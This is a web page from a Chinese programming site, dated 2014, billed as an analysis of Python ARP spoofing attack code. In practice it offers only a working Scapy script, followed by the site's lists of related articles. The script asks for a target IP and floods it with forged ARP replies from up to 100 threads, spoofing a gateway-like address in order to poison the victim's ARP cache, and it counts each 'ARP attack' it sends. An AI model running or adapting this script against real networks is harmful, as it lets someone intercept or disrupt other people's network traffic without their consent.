python发送arp欺骗攻击代码分析


Posted in Python onJanuary 16, 2014
# -*- coding: cp936 -*-
from scapy.all import *
from threading import Thread,Lock,activeCount
BROADCASTMAC = getmacbyip('192.168.0.120')
class Loop(Thread):
    def __init__(self,ip):
        Thread.__init__(self)
        self.ip = ip
    def run(self):
        global BROADCASTMAC
        arp = ARP()
        arp.psrc = '192.168.0.251'
        arp.hwsrc = BROADCASTMAC
        arp.pdst = self.ip
        arp.op = 2
        sr1(arp,verbose = 0,retry = 0,timeout = 3)
class Main(Thread):
    def __init__(self,ip):
        Thread.__init__(self)
        self.ip = ip
    def run(self):
        limit = 100
        total = 0
        while True:
            if activeCount() < limit:
                Loop(self.ip).start()
                total = total + 1
            print '目前已进行了ARP攻击的次数为:'+str(total)
if __name__ == '__main__':
    ip = raw_input('请输入要进行ARP攻击的机器IP:')
    Main(ip = ip).start()
Python 相关文章推荐
Python随机生成一个6位的验证码代码分享
Mar 24 Python
Python中的高级函数map/reduce使用实例
Apr 13 Python
python代码实现ID3决策树算法
Dec 20 Python
Django自定义过滤器定义与用法示例
Mar 22 Python
python写入已存在的excel数据实例
May 03 Python
Tensorflow实现卷积神经网络的详细代码
May 24 Python
对python中矩阵相加函数sum()的使用详解
Jan 28 Python
python 定时器,轮询定时器的实例
Feb 20 Python
给我一面国旗 python帮你实现
Sep 30 Python
python实现上传文件到linux指定目录的方法
Jan 03 Python
Python多线程Threading、子线程与守护线程实例详解
Mar 24 Python
基于python实现音乐播放器代码实例
Jul 01 Python
分析python服务器拒绝服务攻击代码
Jan 16 #Python
python获取豆瓣电影简介代码分享
Jan 16 #Python
linux系统使用python获取cpu信息脚本分享
Jan 15 #Python
linux系统使用python监测系统负载脚本分享
Jan 15 #Python
linux系统使用python获取内存使用信息脚本分享
Jan 15 #Python
linux系统使用python监测网络接口获取网络的输入输出
Jan 15 #Python
linux系统使用python监控apache服务器进程脚本分享
Jan 15 #Python
You might like
PHP如何使用Memcached
2016/04/05 PHP
浅谈PHP中try{}catch{}的使用方法
2016/12/09 PHP
PHP+Mysql无刷新问答评论系统(源码)
2016/12/20 PHP
CI框架实现优化文件上传及多文件上传的方法
2017/01/04 PHP
php实现数据库的增删改查
2017/02/26 PHP
详解PHP中的外观模式facade pattern
2018/02/05 PHP
laravel框架邮箱认证实现方法详解
2019/11/22 PHP
javascript读取xml
2006/11/04 Javascript
客户端脚本中常常出现的一些问题和调试技巧
2007/01/09 Javascript
Mac地址验证的javascript代码
2013/11/09 Javascript
在myeclipse中如何加入jquery代码提示功能
2014/06/03 Javascript
jQuery树形控件zTree使用小结
2016/08/02 Javascript
Bootstrap树形菜单插件TreeView.js使用方法详解
2016/11/01 Javascript
js获取json中key所对应的value值的简单方法
2020/06/17 Javascript
JavaScript数组和对象的复制
2017/03/21 Javascript
浅谈gulp创建完整的项目流程
2017/12/20 Javascript
jQuery EasyUI 折叠面板accordion的使用实例(分享)
2017/12/25 jQuery
vue自定义移动端touch事件之点击、滑动、长按事件
2018/07/10 Javascript
LayUI表格批量删除方法
2018/08/15 Javascript
Vue实现计算器计算效果
2020/08/17 Javascript
微信小程序轮播图swiper代码详解
2020/12/01 Javascript
使用jquery实现轮播图效果
2021/01/02 jQuery
[26:21]浴火之凤-TI4世界冠军Newbee战队纪录片
2014/08/07 DOTA
Python模块结构与布局操作方法实例分析
2017/07/24 Python
Python DataFrame 设置输出不显示index(索引)值的方法
2018/06/07 Python
Python基于多线程实现ping扫描功能示例
2018/07/23 Python
PyQt5+requests实现车票查询工具
2019/01/21 Python
numpy.random模块用法总结
2019/05/27 Python
python通过实例讲解反射机制
2019/10/17 Python
Django form表单与请求的生命周期步骤详解
2020/06/07 Python
Python项目跨域问题解决方案
2020/06/22 Python
Giglio英国站:意大利奢侈品购物网
2018/03/06 全球购物
投标人廉洁自律承诺书
2014/05/26 职场文书
艺术节开幕词
2015/01/28 职场文书
调解书格式范本
2015/05/20 职场文书
redis requires ruby version2.2.2的解决方案
2021/07/15 Redis